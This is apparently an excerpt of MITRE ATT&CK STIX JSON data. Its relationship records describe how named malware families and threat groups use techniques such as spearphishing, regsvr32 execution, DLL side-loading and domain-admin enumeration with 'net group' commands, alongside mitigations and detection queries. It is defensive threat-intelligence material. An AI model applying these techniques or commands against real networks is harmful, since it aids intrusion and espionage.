                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/"
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            ],
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            ],
            "modified": "2025-04-28T15:40:41.016Z",
            "description": "[RTM](https://attack.mitre.org/software/S0148) has been delivered via spearphishing attachments disguised as PDF documents.(Citation: Unit42 Redaman January 2019)",
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            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
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            "created": "2017-12-14T16:46:06.044Z",
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            "description": "[njRAT](https://attack.mitre.org/software/S0385) can read specific registry values.(Citation: Trend Micro njRAT 2018)",
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                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.",
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            "description": "[Valak](https://attack.mitre.org/software/S0476) has used <code>regsvr32.exe</code> to launch malicious DLLs.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 17, 2024.",
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            "description": "[NetTraveler](https://attack.mitre.org/software/S0033) contains a keylogger.(Citation: Kaspersky NetTraveler)",
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                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.(Citation: Cybereason Soft Cell June 2019)",
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                    "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.",
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                    "description": "DCSO CyTec Blog. (2022, December 24). APT41 \u2014 The spy who failed to encrypt me. Retrieved June 13, 2024.",
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                    "source_name": "Unit 42 PingPull Jun 2022",
                    "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.",
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                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
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            "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can identify the IP of a targeted system.(Citation: Malwarebytes Kimsuky June 2021)",
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.(Citation: Dell TG-3390)",
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                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.",
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                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
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            "modified": "2025-04-28T15:41:12.873Z",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net group \"domain admins\" /domain</code> to display accounts in the \"domain admins\" permissions group and <code>net localgroup \"administrators\"</code> to list local system administrator group membership.(Citation: AlienVault Sykipot 2011)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
                },
                {
                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc794757.aspx"
                },
                {
                    "source_name": "Microsoft Netdom Trust Sept 2012",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/cc835085.aspx"
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                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "url": "https://adsecurity.org/?p=1640"
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            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust /domain: /EnableSIDHistory:no</code> on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--2ebf0505-4b0a-4e17-b303-b860585f7c11",
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                {
                    "source_name": "Talos TinyTurla September 2021",
                    "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html"
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            "modified": "2025-04-28T15:41:13.242Z",
            "description": "[TinyTurla](https://attack.mitre.org/software/S0668) can install itself as a service on compromised machines.(Citation: Talos TinyTurla September 2021)",
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                {
                    "source_name": "Gigamon Berserk Bear October 2021",
                    "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.",
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            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system.(Citation: Gigamon Berserk Bear October 2021)",
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                {
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                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
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            "modified": "2025-04-28T15:41:13.642Z",
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.(Citation: Unit42 Xbash Sept 2018)",
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            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
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            "modified": "2025-04-16T22:05:13.237Z",
            "description": "Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).\n\nAnalytic 1 - Unusual password change operations\n\n<code> index=\"m365_audit_logs\" Operation=\"Change user password\"\n| stats count by Actor, TargetUser\n| where Actor!=\"expected_actor\" AND TargetUser!=\"expected_target_user\"</code>",
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            "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "revoked": false,
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                    "description": "Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology"
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            ],
            "modified": "2025-04-16T22:05:13.425Z",
            "description": "During the [2022 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0034), [Sandworm Team](https://attack.mitre.org/groups/G0034) utilized a PowerShell utility called TANKTRAP to spread and launch a wiper using Windows Group Policy.(Citation: Mandiant-Sandworm-Ukraine-2022)",
            "relationship_type": "uses",
            "source_ref": "campaign--df8eb785-70f8-4300-b444-277ba849083d",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "id": "relationship--2ed8a8c7-2b1b-4bac-bc35-4d4fad2284b7",
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            "modified": "2025-04-16T22:05:13.626Z",
            "description": "Monitor processes for unexpected termination related to security tools/services. Specifically, before execution of ransomware, monitor for rootkit tools, such as GMER, PowerTool or TDSSKiller, that may detect and terminate hidden processes and the host antivirus software.\n",
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            "modified": "2025-04-28T15:41:40.277Z",
            "description": "[Denis](https://attack.mitre.org/software/S0354) queries the Registry for keys and values.(Citation: Cybereason Cobalt Kitty 2017)",
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                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
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                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020.",
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used malicious JavaScript to steal payment card data from e-commerce sites.(Citation: Trend Micro FIN6 October 2019)",
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            "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67",
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            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.(Citation: Cylance Dust Storm)",
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                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.",
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            "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses SMTP for C2.(Citation: Unit 42 BadPatch Oct 2017)",
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                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
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                    "source_name": "Lookout Dark Caracal Jan 2018",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
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            "modified": "2025-04-28T15:28:13.910Z",
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                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                },
                {
                    "source_name": "Kaspersky Transparent Tribe August 2020",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/"
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            "modified": "2025-04-28T15:41:42.289Z",
            "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has crafted VBS-based malicious documents.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\t ",
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            "created": "2022-08-09T16:53:58.575Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ZScaler Squirrelwaffle Sep 2021",
                    "description": "Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022.",
                    "url": "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:06:17.739Z",
            "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been executed using `regsvr32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--328636ab-7265-4212-96d4-4ebf2e6a65db",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "GitHub Pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "url": "https://github.com/n1nj4sec/pupy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:41:57.815Z",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module for loading and executing PowerShell scripts.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--32864e94-8581-4f77-bf7d-53aaf3710f60",
            "created": "2017-12-14T16:46:06.044Z",
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                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:41:58.005Z",
            "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 2015)",
            "relationship_type": "uses",
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--328825fa-a589-4c16-abef-7e3663f1f6ec",
            "created": "2018-04-18T17:59:24.739Z",
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            "revoked": false,
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                {
                    "source_name": "Microsoft FinFisher March 2018",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
                },
                {
                    "source_name": "FinFisher Citation",
                    "description": "FinFisher. (n.d.). Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"
                },
                {
                    "source_name": "Securelist BlackOasis Oct 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
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            ],
            "modified": "2025-04-16T22:06:18.346Z",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) uses DLL side-loading to load malicious programs.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018) A [FinFisher](https://attack.mitre.org/software/S0182) variant also uses DLL search order hijacking.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017) ",
            "relationship_type": "uses",
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--328ab5f5-017c-4d4c-ab52-078257e39bd7",
            "created": "2019-07-02T12:58:09.695Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "ESET LoJax Sept 2018",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf"
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            ],
            "modified": "2025-04-28T15:41:58.277Z",
            "description": "[LoJax](https://attack.mitre.org/software/S0397) has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.(Citation: ESET LoJax Sept 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--328e9746-4bb6-47e1-8e71-6418ca04c5fa",
            "created": "2020-05-27T15:31:09.539Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:41:58.455Z",
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has made their XMRIG payloads persistent as a Windows Service.(Citation: RedCanary Mockingbird May 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--328fdf30-3195-4d15-b99c-bf14cc236a90",
            "created": "2020-01-24T15:51:52.464Z",
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                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
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            ],
            "modified": "2025-04-28T15:41:58.649Z",
            "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329424c6-bea7-4b20-9e32-2a7db75f6281",
            "created": "2022-03-30T14:26:51.846Z",
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            ],
            "modified": "2025-04-28T15:41:58.828Z",
            "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
            "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:41:59.011Z",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.(Citation: Baumgartner Naikon 2015)",
            "relationship_type": "uses",
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "MalwareBytes LazyScripter Feb 2021",
                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"
                },
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.",
                    "url": "https://github.com/offsecginger/koadic"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:06:19.442Z",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)",
            "relationship_type": "uses",
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329a2563-fc1b-4828-a6b7-d11d1d4ad429",
            "created": "2022-03-30T14:26:51.839Z",
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:41:59.284Z",
            "description": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
            "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329bd436-3a61-4f19-937a-ead417d729dc",
            "created": "2024-06-20T19:28:08.022Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Inversecos Timestomping 2022",
                    "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.",
                    "url": "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html"
                },
                {
                    "source_name": "API",
                    "description": "Vishavjit Singh. (2023, June 22). TIMESTOMPING EXPLAINED ON API LEVEL. Retrieved June 20, 2024.",
                    "url": "https://medium.com/@vishavjitsingh.csi/timestomping-explained-on-api-level-f0c219cf3dc9"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:06:19.648Z",
            "description": "Monitor for API calls that may delete or alter generated artifacts on a host system. APIs (e.g., `SetFileTime`, `NtSetInformationFile`, `NtQueryInformationFile`) can be utilized to manipulate timestamps.(Citation: API)(Citation: Inversecos Timestomping 2022)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329d115e-2a1d-443e-800c-d28f5f11d6b9",
            "created": "2020-10-01T18:55:37.399Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download"
                },
                {
                    "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021",
                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
                }
            ],
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            ],
            "modified": "2025-04-28T15:41:59.556Z",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites.(Citation: US District Court Indictment GRU Oct 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--329e0df7-2d7b-44d6-8dc0-5074df2627b8",
            "created": "2022-03-30T14:26:51.863Z",
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            "revoked": false,
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            ],
            "modified": "2025-04-16T22:06:20.049Z",
            "description": "Monitor for API calls may attempt to get information about running processes on a system. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--329f545d-7ef4-4c43-9ce8-b56e7275e11f",
            "created": "2024-02-09T19:45:50.796Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
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            "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)",
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                    "source_name": "Mandiant Cutting Edge Part 3 February 2024",
